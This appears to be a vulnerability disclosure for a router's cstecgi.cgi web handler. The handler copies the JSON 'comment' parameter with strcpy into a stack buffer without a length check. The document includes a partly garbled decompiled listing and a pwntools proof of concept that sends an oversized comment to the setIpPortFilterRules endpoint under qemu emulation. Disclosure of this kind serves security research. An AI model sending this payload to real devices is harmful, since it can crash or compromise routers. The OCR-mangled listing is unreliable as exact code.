

The vulnerability exists in the router's WEB component. /web\_cste/cgi-bin/cstecgi.cgi FUN\_00418f10 (at address 0x418f10) gets the JSON parameter comment, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
🔓 Decompile: FUN_00418f10 - (cstecgi_not_test.cgi)
      undefined4 local_70;
 17
      undefined4 local_6c;
      undefined4 local_68;
 18
 19
      undefined4 local_64;
 20
      undefined4 local_60;
      undefined4 local_5c;
 22
      undefined2 local_58;
 23
      undefined4 local_54;
      undefined4 local_50;
 25
      undefined4 local 4c;
      undefined4 local_48;
 26
 27
      undefined4 local_44;
 28
      undefined4 local 40;
 29
      undefined4 local_3c;
 30
      undefined4 local_38;
      undefined4 local 34;
 31
      undefined4 local_30;
 32
 33
      undefined4 local_2c;
      undefined2 local_28;
 35
      undefined local_26;
 36
 37
      pcVar1 = (char *)websGetVar(param 1, "addEffect", "0");
 38
      iVar2 = atoi(pcVar1);
 39
      pcVar1 = (char *)websGetVar(param_1,"enable","0");
 40
      local_78 = atoi(pcVar1);
 41
     pcVar1 = (char *)websGetVar(param_1,"ipAddress","");
      __s1 = (char *)websGetVar(param_1,"protocol","");
 42
      __src = (char *)websGetVar(param_1,"comment","");
 43
      __nptr = (char *)websGetVar(param_1,"dFromPort","0");
 45
        _nptr_00 = (char *)websGetVar(param_1,"dToPort","");
 46
      local_74 = 0;
 47
      local_70 = 0;
      local 6c = 0.
 96
          strcpy((char *)((int)&local_6c + 1),__src);
 97
 98
          apmib set(0x20078,&local 74);
 99
          apmib_set(0x10077,&local_74);
100
```

## **POC**

```
from pwn import *
import json

data = {
    "topicurl": "setting/setIpPortFilterRules",
    "addEffect": "0",
    "ipAddress": "192.168.2.1",
    "comment": "A"*0x200,
    "dFromPort": "8888",
    "dToPort": "9999"
}
```

```
data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",
    "-g", "1234",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()
```